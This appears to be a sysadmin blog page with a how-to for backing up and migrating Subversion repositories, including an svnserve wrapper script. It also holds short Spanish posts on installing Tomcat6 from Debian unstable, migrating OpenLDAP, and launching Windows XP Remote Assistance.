Subversion backup and restore

  • Howto backup Subversion and move it to a new machine.
  • Back Up Your Data !
  • svnadmin dump repo and scp to other machine.
  • Do this for each repository you have.
svnadmin dump /path/to/reponame > /tmp/reponame.dump ; scp -rp /tmp/reponame.dump user@server.domain.com:/tmp/
  • On other machine install subversion
pacman -Sy subversion
  • Make sure you set svnserve in /etc/rc.conf
  • Edit the DAEMONS line so it starts on next boot.
DAEMONS=(syslog-ng hotplug !pcmcia network netfs crond sshd svnserve httpd)
  • Create the corrisponding repositories.
  • Do this for each repository you have.


  • Load svn dump into new repo on new machine.
  • Do this for each repository you have.
svnadmin load /path/to/reponame < /tmp/repo1.dump
  • Setting Permissions.. CRUCIAL
  • This is the most common mistake when moving a svn repo.
  • Do this for each repository you have.
chown -R svn:svnusers /path/to/reponame ; chmod -R g+w /path/to/reponame/db/
  • Sample Permissions:
bash-2.05b# ls -l | grep svn drwxrwxr-x 7 svn svnusers 512 Apr 27 15:06 reponame1 drwxrwxr-x 7 svn svnusers 512 Apr 27 15:06 reponame2 drwxrwxr-x 7 svn svnusers 512 Apr 27 15:06 reponame3 bash-2.05b# ls -l reponame1/ | egrep -i "db" drwxrwsr-x 2 svn svnusers 512 Apr 27 15:07 db bash-2.05b#
  • Ok these repos should be allset and ready to rock.. however using svn+ssh:// will not work..
  • Note: we have to have a wrapper written for svnserve..
  • PLEASE FOLLOW CLOSELY HERE
  • check your ENV like:
bash-2.05b# env | egrep "^PATH=" PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/games:/usr/local/sbin:/usr/local/bin:/usr/X11R6/bin:/root/bin bash-2.05b#
  • check where the svnserve binary is located:
bash-2.05b# which svnserve /usr/local/bin/svnserve bash-2.05b#
  • ok our wrapper is going to have to fall in PATH prior to this location.. /sbin is a good place seeing its our 1st exec path on the system as root.
  • create wrapper:
touch /sbin/svnserve ; chmod 755 /sbin/svnserve
  • now edit it to look like so:
bash-2.05b# cat /sbin/svnserve #!/bin/sh # wrapper script for svnserve umask 007 /usr/local/bin/svnserve -r /path/to "$@" bash-2.05b#
  • NOTE: see the -r /path/to ?? well this is what makes use of the svn co svn+ssh://server.domain.com:/reponame ( SEE THIS :/reponame ).. this sets root PATH.
  • you do not need to do: :/path/to/reponame.... this is the big trick here folks.
  • Start svnserve with new wrapper script like so:
/sbin/svnserve -d ( start daemon mode )
  • check it with ps:
bash-2.05b# ps auxww | grep svn root 66668 0.0 0.1 3608 1868 ?? Is 12:25AM 0:00.00 /usr/local/bin/svnserve -r /path/to -d bash-2.05b#
  • we can also check the perms for remote users like this:
cdowns:~ ~$ svn ls svn+ssh://server.domain.com:/reponame ++server.domain.com++ dev/ qa/ release/ cdowns:~ ~$
En pocas palabras...
svnadmin dump /usr/local/svn > /var/dump-svn20090915.dump

lunes, 23 de febrero de 2009

Tomcat6 para Debian, disponible en rama inestable

Una forma más sencilla de instalar que "from scratch". Aunque está en unstable, funciona correctamente. Al menos hasta donde he visto.

##DEBIAN SID##
deb http://ftp.nl.debian.org/debian/ unstable main contrib non-free

apt-get update
apt-get install tomcat6

http://www.sourceslist.netsons.org/

En esta web hay todos los repositorios para Debian, ubuntu y OpenSuse11.

Interesante ;) http://www.sourceslist.netsons.org/

jueves, 19 de febrero de 2009

Migrar un servidor LDAP en 2 pasos






En el antiguo server
slapcat -l /tmp/somefilename.ldif

En el nuevo "As root" y con openldap parado.
slapadd -c -l /tmp/somefilename.ldif

Iniciar asistencia remota en workstations Windows XP

Si ejecutas:

hcp://CN=Microsoft%20Corporation,L=Redmond,S=Washington,C=US/Remote%20Assistance/Escalation/Unsolicited/unsolicitedrcui.htm

Podrás iniciar una sesión remota en el ordenador de un usuario siempre y cuando él/ella te lo permita. Funciona sobre Terminal Server y funciona en Windows XP professional.

Saludos Vlan7